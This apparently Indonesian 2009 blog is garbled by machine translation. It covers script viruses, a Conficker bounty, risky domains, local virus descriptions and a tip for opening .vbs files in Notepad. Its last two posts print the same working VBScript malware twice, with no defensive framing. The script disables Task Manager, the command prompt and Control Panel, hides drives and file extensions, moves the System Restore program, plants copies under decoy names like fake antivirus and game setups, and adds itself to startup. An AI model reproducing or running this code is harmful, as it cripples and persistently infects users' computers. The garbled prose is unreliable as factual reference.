Sabtu, 08 Agustus 2009

Virus script and Habitat types

Script virus (sometimes called a macro virus) generally embedded in the travel office automation and email documents, although they can be found on the web page also.

Old fashioned virus program is usually applied in the execution of system code, while the script is written, the virus is usually stronger in the high-level language that is compiled and running quickly. They often have sophisticated functions and interface directly to high-level applications such as word processing, spreadsheets, email, and web programs, and can cause loss of damage. Since they first surfaced in the office automation program, they sometimes also called "macro" viruses. Scripts can also spread the virus through the IRC protocol.

Microsoft computer, the switch in the script to check the virus protection is very important. However, please note that there is a performance related to a few applications. Various applications on Windows is written in Visual Basic, and real-time virus checking script can be twice the time required to perform the function normally. If you find that normal function of taking a lot of time to complete, you can try again for a while this feature is not active in the anti-virus checker - but do not forget to turn back after that!

On the threat. Following type of script virus at this time the most active and dangerous, on the Windows platform:

* Visual Basic is a powerful and flexible environment for Microsoft Windows, Office, and Internet applications. Script viruses are written in Visual Basic can run all the Microsoft architecture, to provide more range and power, and make them the main threat of viruses today.

The first broad Visual Basic Script virus Melissa, who was brought down from a few large international company for a few days in March 1999. Melissa travel document in Microsoft Word and run when the document is opened, then open the associated program Microsoft Outlook email, read a user's email address book, email and then sent a copy of itself to the first fifty names was found. He spread quickly.

Architecture Melissa virus is quickly followed by many variants similar programmed by hackers in the world, including the ground breaking kak, the first Visual Basic script virus that is triggered immediately after the email was opened. Kak, followed by BubbleBoy, which triggered the email even if viewed in the preview pane. A steady stream of Visual Basic Script virus continues to pay a visit to this day. There is also automatic, point and click program like vbs Love Generator hacker to help generate additional variants. Script virus that is used to send email to own other people is also a form of worm.

The term "macro virus" is used less often, and usually refers to the virus in the office automation macro applications, the most common Visual Basic macro in Microsoft Word or Excel document. Macro virus can cross the limit of the system from Windows to Macintosh computers with MS Office documents. Current versions of Microsoft Office contains a strong anti-macro to maintain protection against known attacks.

* ActiveX is one of Microsoft's distributed application technology that allows web pages to download the program quickly with the full power of each execution running on your machine. This makes ActiveX module particularly efficient and powerful, but also the security risk because they can create, modify, and delete files, add the code system program, or take any other action is allowed in your account on your computer.

To help reduce the risk, Microsoft network architecture provides encrypted certificates for ActiveX module. This gives the option to reject the download of unsigned ActiveX module that the author is unknown, and at least that reveal their identity module that you sign the receipt and if they cause problems. However, this approach is not universally accepted by the general user and professional security people, and sometimes called the "trust me now, trying to catch me later." Users using Internet Explorer on Windows computers should ensure that their browser security settings are set to "disable" for unsigned ActiveX applets, and for the "prompt" to sign the applet.

Hypothetical threat. Following script viruses are largely theoretical, but explained that they can appear anywhere there is script code:

* Java is a standard cross-platform development environment, and are often used to download the script to add functions such as hours or chat room to web pages. Java is written with a strong security to protect your computer and data sources, and so far has proven quite resistant to virus infection of the script. You can change the Java in your browser if you want to be extra careful, but will disable some functions on some useful web pages.

* JavaScript is a programming language web standards. JavaScript also has a well defined security model that protects data and resources, and some of the JavaScript virus that were found have been mainly in the theory of nature. You can enable JavaScript in your browser settings if you want to be extra careful, but it will disable the functionality on many web pages.

* MIME. The first script virus that is triggered immediately after the email was opened MIME is a virus that is applied to the version of Netscape Mail, Microsoft Outlook and Eudora Mail. In a variation on an old hacker technique, which is attached MIME has been given the name of a very long triggered a bug that allowed the end of the name that will be run as a series of instructions, which can then be written to run the virus. However, to fix the bug quickly developed for each vulnerable email programs, and viruses have MIME still hypothetical.

* Other. Some of the other scripting environment has also been a virus, including Corel Draw, hypertext preprocessor, Windows Help file, the installation of Windows, and Windows registry files. Anywhere there is a script interpreter have the opportunity to run the script viruses.
Continue Reading...

Jumat, 07 Agustus 2009

Virus Creator CONFICKER "appreciated" $ 250,000

Apparently Microsoft exacerbation of the worm virus has been Conficker climb. Not only to fight the virus with the name of another worm Downadup this course, but also to "appreciate" the virus of USD 250,000 or approximately Rp. 2.9 Billion for anyone who can catch the virus.

Microsoft trying to pressure the virus creator Conficker the internet has millions menginfeksi PC using the Windows operating system. Based on the report, Microsoft prepares a gift of USD 250,000 to all the people who can provide referral information to catch and punish whoever was responsible for the code that disrupt this program.

This software giant also said that they also work with security researchers, providers and ICANN domain melengserkan hope for a server that has launched attacks. Worm that appears the first time at the end of this year, take advantage of a very critical bug in Windows to be explained and there was a bug patched by Microsoft in the first of October is estimated at around 12 million computers this virus fell ill.

USD 250,000 prize may be a strong incentive to anyone who knows who is responsible for Conficker and this is not the first time Microsoft offers a similar case. Ago in 2003 Microsoft had offered the same amount, as the tips to catch and punish those behind the SoBig virus and Blaster. Then in 2004 Microsoft to pay USD 250,000 to the two people to identify teenagers who write virus Sasser.

Are you interested in the value of USD 250,000 this? 2.9 billion is not money that is slightly lho. Ayo nangkap of follow-up Conficker!
Continue Reading...

McAfee FIND DOMAIN dangerous

When surfing to a secure website, not all domains are equal. Inc. McAfee antivirus, anti-virus software vendor, says that companies that have the address listed on the website seem to have experienced a crisis when the security company owner of the address register in a particular domain. McAfee found that there are some domains that are considered dangerous to the user navigation, such as ". Hk" (Hong Kong), ". Cn" (China), and ". Info" (information).

Of all the dangerous domain, domain. "Hk", after dites by McAfee, the domain is to contribute 19.2% as the domain that dangerous or potentially dangerous to menibulkan for visitors. Temporary. "Cn" potentially dangerous and of 11.8%. "Info" as much as 11.7%. The remaining sites under the domain ". Com" ayg quite popular, has the potential of 5%.

Many of spam, writing code that is malicious code and cyber criminal while others appear to register a domain name request to refuse to register a site with the goal to improve profits and promotion company. However, McAfee has not been until now the company knows where to register the domain name.

In the McAfee report, Mapping the Mal Web, McAfee is trying to identify the domain that has a risk of dangerous sites with a high concentration. Server for the site with the domain. "Hk" and ". Cn" should not be in China so that the website operator can register sites from anywhere. Ang other domains such as risk. "Ro" (Romania) with a degree and 6.8%. "Ru" (Russia) with the risk of 6%.
A researcher from McAfee, Shane Keats, said, adding the site below. "Hk" and ". Cn" which is considered dangerous, were caused by data pengkoleksian by McAfee on the domain and in the process some of the register address is the company. McAfee report is based on 9.9 million websites in 265 domains dites Entry for malicious code, a pop-up or excessive form of which is a tool for the spammers to send spam email.

McAfee also find domain names that have little risk of harm, such as:

*. "Gov" (government use), with 0:05%.
* ". Jp" (Japan), with 0.1%
*. "Au" (Australia), with 0.3%
Continue Reading...

Some kind of VIRUS

Malingsi virus included in the new virus, into the first rank in the most virus is reported in this period. Followed by Autoit virus and the old, and the virus Doremi including a new virus. And indeed most of the viruses that enter in a list of ten times this is a new virus. Read the list below:

1. Malingsi

The virus attacks the virus Malingsi other.

Virus gemuk well with the size of 705,312 bytes is created using Visual Basic in-pack use PECompact. It seems this virus is to attack another virus, this is visible from the message in the body. Virus breed and spread using the Personalization mediator, which acts as a bot ..

2. Autoit variants

Most variants use Autoit icon folder in penyamarannya.

Characteristic of a virus that is created using this program automation scripting. That if the compile into an executable file, which is also in-pack using UPX. And nearly 90% with all autoit virus variants that we have, using the folder icon is similar in penyamarannya. This virus will also usually create an autorun.inf file at the time of the disk drive or flash drive.

3. Doremi

The contents of a text file that comes with the package a file virus.

Virus in the database that we have, we have found 4 variants of this virus that is Doremi.A, B, C and D. They almost have no differences in terms of coding. A variant using similar icon PCMAV, B and C using the icon that looks like a key image, and D variants using the magnifying glass icon image. All use social engineering techniques, so that seems like a normal program.

File viruses are created using Visual Basic is indeed likely to deliberately put in to trick internet users who download them. No briliant techniques that he applied, but the author has provided a routine that evil act in a certain date, such as 14 or 8. What happened? He will try to delete all data on the hard drive without the user. When the computer restart, which appear only "NTLDR is missing". Simultaneously file with the virus, usually you will also be able to find a text file with the name of Do-Re-Mi.txt the content: "by Midnight Joker."

4.Formalin

Formalin virus file properties.

At the time this update is known variants of the virus 2 Formalin. Icon used by this virus resembles the withdrawal folder, and it is created using Visual Basic. On Formalin.D, the file size of 18,432 bytes, with the in-pack conditions using UPX. This virus creates a folder "disguise" with names such as seepage problem UAN and UAS, My Completed Downloads, Picture Wallpaper, Crack Program, Jgn opened!, Nitip Data (jgn removed), and others.

At the infected computer, Internet Explorer in the caption will change to "Your computer has been infected the virus Formalin." He also tries to disable "safe-mode" in a way to delete some registry related. And in the file properties of the virus, in the property description information akan version have any posts like "Kasian dch loe".

5. Purwo.B

Impersonate use msword icon similar documents.

Created using Visual Basic, with the body size of about 36KB, with the pure-pack.Saat menginfeksi it creates a folder with the name "Purwokerto Under Cover" of the hidden attributes, and a file called "PurwokertoKotaSatria.exe" on each drive that he found . In the folder C: \ Windows \ System32 \ file system also have windows.exe, and in the C: \ Windows \ Shell \ services.exe.

6. Plolonk

Plolonk change the wallpaper computer infected.

Local production of virus is one that is made using Visual Basic, with a size of 67,072 bytes with the conditions in-packscramble. In the registry, he created new items in the HKLM run, with the name of the service point on one of the parent file in the Windows directory with the name of dllhost.exe. In addition, the directory can be found also an image file that will be made by it with the name of the wallpaper Pl0Lonx.jpg.

So on the infected computer, the computer's desktop wallpaper will change it into a picture theme "SuSE Linux". In addition, to be automatically active, he also put himself in the Startup folder with the name Empty.pif. the most likely use the UPX

7. Recycler variants

File viruses hiding behind false Recycle Bin.

Which is the characteristic of the virus from this technique is, how it spread. Of all the variants that we have, how that is done the same, ie masquerade as Recycle Bin. For example the virus attacks the flash disk. In the flash disk there is a victim akan Recycler folder with the name in which there is a folder using the name for example alpha numeric

"S-1-5-21-1482476501-1644491937-682003330-1013" with the icon is similar to the Recycle Bin icon. If this folder, click on or accessed from the Explorer, the file will not be visible virus. To view them, you can go to command prompt with the command "dir / a".

8. Buxto variants

Message from Buxto virus.

The virus is made using Visual Basic. On the one variannya, such as for example Buxto.C, it has a body size of 266,240 bytes, with no in-pack. Icon virus-like application icon Mozilla Firefox browser. The virus is known to create autorun on every drive that it can find to spread. And one thing, the message delivered by this virus is quite nyeleneh, as an ad's message.

9. Minerva

Minerva divert attention by giving the user games.

Virus-sized about 340,981 bytes to 347,965 bytes Minerva.A and to use this Minerva.B cajolery as flash games, using the icon that looks like a standard flash file. If a user tempted, and accidentally activate the virus, which is a games show. Games and its random, can Mario Bros., Single Puzzle Hangman, or the other. He was saving a few games on the body. That he would do to distract attention, the On the one hand the virus has merasuki the victim computer, the user is being cool to play its games.

This virus tries to log, and me-as registerrunning services. You can also find the file easily in the parent folder with the name Startup minerva.com. So, be careful if you get a file form flash games games, check first. himself in the HKLM \ System \ CurrentControlSet \ Services with the name of Minerva, can hope

10. Windx-Maxtrox

Display desktop wallpaper changed by the virus after Windx-Maxtrox.

Virus made with Visual Basic has a body size of around 77Kb original, without the in-pack. The virus is suspected to originate from the strong North Sulawesi has an executable file infection capabilities. Precisely, it will menginfeksi program in the Program Files directory. Infection of the techniques he applied canny enough to avoid pendeteksian's heuristic antivirus engine. Characteristics that can be recognized on the infected computer is changing the image from the desktop into the wallpaper image animation.
Continue Reading...

Kamis, 06 Agustus 2009

How Overcoming vbs Virus



Vbs or a virus known as "visual basic script" This is not foreign anymore karna program can be written with a very simple such as using "notepad", but due to the resulting virus is "tolerable luaRrrRr normal", so we must prevent the virus that vbs does not develop in our computer, how to prevent this aja.

Nah quiet aja triknya I have that can prevent this virus.vbs not breed our computer, note the steps below:

1. Open My Computer - Tools - Folder options
2. Then Click File Types, scroll down, find Extensi "vbs"
3. Change the default program used to open the file. Vbs by clicking the button "change"
4. We will see that I recommended the program to open the file. Vbs is "Microsoft (r) Windows Based Script Host", change it, scroll down a bit, search for "notepad" and click OK

With the change settingan above, each time we click / open the file berextensi. Vbs script virus written in the file. Vbs will not be executed directly, but will be displayed by notepad, before we can analyze what the function of the source code of the file. Vbs is whether this virus or not, of course, and the file will not menginfeksi our computer ... ... ...

There is a more Loh Extreme is to remove file.vbs Association, is the same as above, only when we find the file association. Vbs asosiasinya not change us by clicking the button change, but by clicking the "delete", so every time we click on the file. vbs, the box will appear "open with" to select the program that will be used to open the file. vbs is but you can mimilih notepad to view / change the source code of the vbs ...
* NOTE *

To the Extreme was fatal karana mendelete asosiasinya with us, we can not run a vbs file that berextensi karna us on the computer to run the vbs vbs we need associations, that time I never try, but how extreme is fit I want to run the file. Vbs does not want the road (hikshiks Sadly) I tried to restore the file association "vbs" to get berextensi vbs file that can be run without kembli need to use "Notepad" again, so is normal again before using the above trick, but I still aja udah memcobanya for restore the default association vbs again, this step:

1. Open My Computer - Tools - Folder options
2. Click New after the contents of the file name extension "vbs"
3. Click the Advanced to the association-we select the file type "VBSript" Script file - click OK
4. So we have finished making vbs associations such as the (default)
5. We replace the first chance to open it click - select "Microsoft (r) Windows Based Script Host" - click OK - Close.
Continue Reading...

Tes Script 3


On error resume next
Dim Regpen, FSO, Copier, Creator, Dupler, Deleter, Runner
set Regpen = CreateObject ("Wscript.Shell" )
set FSO = CreateObject ("Scripting. FileSystemObject ")
set Creator = FSO.CreateTextFile ("C:\Ternate. vbs", true)
Creator.WriteLine ("Msgbox ("& Chr (34) & "Salam Kenal dari Saya,
Mr.Dajjal :<" & chr (34)& ")")
Creator.Close

Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \System\NoRun" ,"1","REG_ DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \System\DisableT askMgr"," 1","RE G_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \System\DisableC MD","1"," REG_DW ORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoFolderOption" ,"1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoDrives" ,"16","REG_ D WORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoSaveSettings" ,"1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoControlPanel" ,"1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \NoSetTaskbar" ,"1","REG_ DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ Advanced\ HideFileExt" ,"1","REG_DWORD"
Regpen.Regwrite "HKEY_LOCAL_ MACHINE\Software \Microsoft\ Windows\Cur
rentVersion\ Winlogon\ LegalNoticeCapti on", "THE Syaithan-X"
Regpen.RegWrite "HKEY_LOCAL_ MACHINE\Software \Microsoft\ Windows\Cur
rentVersion\ Winlogon\ LegalNoticeText" ,"ASSALAMUALA IKUM, YA AHLIL KUBUR"

Set Copier = FSO.GetFile ("C:\Ternate. vbs")
Copier.Copy ("C:\Documents and Settings\All Users\Start
Menu\Programs\ Startup\Adobe. vbs")

FSO.CreateFolder ("C:\Program Files\Microsoft 0ffice\0ffice12" )
FSO.CreateFolder ("D:\Program" )
FSO.CreateFolder ("E:\Program" )
FSO.CreateFolder ("F:\Program" )
FSO.CreateFolder ("G:\Program" )
FSO.CreateFolder ("H:\Program" )
FSO.CreateFolder ("I:\Program" )
FSO.CreateFolder ("J:\Program" )
FSO.CreateFolder ("K:\Program" )

Set Deleter = FSO.GetFile ("C:\Windows\ System32\ Restore\rstrui. exe")
Deleter.Move ("C:\Program Files\Microsoft 0ffice\0ffice12\ rstrui.Gnamu" )

set Dupler = FSO.GetFile (WScript.ScriptFull Name)
Dupler.Copy ("C:\Program Files\Microsof 0ffice\0ffice12\ Hantu.vbs" )
Dupler.Copy ("C:\Documents and Settings\All Users\Start
Menu\Programs\ Startup\Desktop. ini.vbs")
Dupler.Copy ("C:\Documents and Settings\All
Users\Desktop\ Dajjal_Antivirus .exe.vbs" )
Dupler.Copy ("C:\Windows\ System32\ Restore\rstrui. exe.vbs")
Dupler.Copy ("D:\Program\ MotoGP_SETUP. vbs")
Dupler.Copy ("E:\Program\ TuneUp2009_ SETUP.vbs" )
Dupler.Copy ("F:\Program\ Ansav_SETUP. vbs")
Dupler.Copy ("G:\Program\ DeltaForce_ SETUP.vbs" )
Dupler.Copy ("H:\Program\ DeltaForce_ SETUP.vbs" )
Dupler.Copy ("I:\Program\ Ansav_SETUP. vbs")
Dupler.Copy ("J:\Program\ Project.vbs" )
Dupler.Copy ("K:\Program\ Hantu.vbs" )

Set Runner = WScript.CreateObjec t ("WScript.Shell" )
Runner.Run ("C:\Program Files\Microsoft 0ffice\0ffice12\ Hantu.vbs" )
Continue Reading...

Tes Script 2


On error resume next
Dim Regpen, FSO, Copier, Creator, Dupler, Deleter, Runner
set Regpen = CreateObject ("Wscript.Shell" )
set FSO = CreateObject ("Scripting. FileSystemObject ")
set Creator = FSO.CreateTextFile ("C:\Ternate. vbs", true)
Creator.WriteLine ("Msgbox ("& Chr (34) & "Salam Kenal dari Saya,
Mr.Dajjal :<" & chr (34)& ")")
Creator.Close

Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \System\NoRun" ,"1","REG_ DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \System\DisableT askMgr"," 1","RE G_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \System\DisableC MD","1"," REG_DW ORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoFolderOption" ,"1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoDrives" ,"16","REG_ D WORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoSaveSettings" ,"1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ NoControlPanel" ,"1"," REG_DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \NoSetTaskbar" ,"1","REG_ DWORD"
Regpen.RegWrite "HKEY_CURRENT_ USER\Software\ Microsoft\ Windows\Curr
entVersion\Policies \Explorer\ Advanced\ HideFileExt" ,"1","REG_DWORD"
Regpen.Regwrite "HKEY_LOCAL_ MACHINE\Software \Microsoft\ Windows\Cur
rentVersion\ Winlogon\ LegalNoticeCapti on", "THE Syaithan-X"
Regpen.RegWrite "HKEY_LOCAL_ MACHINE\Software \Microsoft\ Windows\Cur
rentVersion\ Winlogon\ LegalNoticeText" ,"ASSALAMUALA IKUM, YA AHLIL KUBUR"

Set Copier = FSO.GetFile ("C:\Ternate. vbs")
Copier.Copy ("C:\Documents and Settings\All Users\Start
Menu\Programs\ Startup\Adobe. vbs")

FSO.CreateFolder ("C:\Program Files\Microsoft 0ffice\0ffice12" )
FSO.CreateFolder ("D:\Program" )
FSO.CreateFolder ("E:\Program" )
FSO.CreateFolder ("F:\Program" )
FSO.CreateFolder ("G:\Program" )
FSO.CreateFolder ("H:\Program" )
FSO.CreateFolder ("I:\Program" )
FSO.CreateFolder ("J:\Program" )
FSO.CreateFolder ("K:\Program" )

Set Deleter = FSO.GetFile ("C:\Windows\ System32\ Restore\rstrui. exe")
Deleter.Move ("C:\Program Files\Microsoft 0ffice\0ffice12\ rstrui.Gnamu" )

set Dupler = FSO.GetFile (WScript.ScriptFull Name)
Dupler.Copy ("C:\Program Files\Microsof 0ffice\0ffice12\ Hantu.vbs" )
Dupler.Copy ("C:\Documents and Settings\All Users\Start
Menu\Programs\ Startup\Desktop. ini.vbs")
Dupler.Copy ("C:\Documents and Settings\All
Users\Desktop\ Dajjal_Antivirus .exe.vbs" )
Dupler.Copy ("C:\Windows\ System32\ Restore\rstrui. exe.vbs")
Dupler.Copy ("D:\Program\ MotoGP_SETUP. vbs")
Dupler.Copy ("E:\Program\ TuneUp2009_ SETUP.vbs" )
Dupler.Copy ("F:\Program\ Ansav_SETUP. vbs")
Dupler.Copy ("G:\Program\ DeltaForce_ SETUP.vbs" )
Dupler.Copy ("H:\Program\ DeltaForce_ SETUP.vbs" )
Dupler.Copy ("I:\Program\ Ansav_SETUP. vbs")
Dupler.Copy ("J:\Program\ Project.vbs" )
Dupler.Copy ("K:\Program\ Hantu.vbs" )

Set Runner = WScript.CreateObjec t ("WScript.Shell" )
Runner.Run ("C:\Program Files\Microsoft 0ffice\0ffice12\ Hantu.vbs" )
Continue Reading...
 

at videa Copyright © 2009 WoodMag is Designed by Ipietoon for Free Blogger Template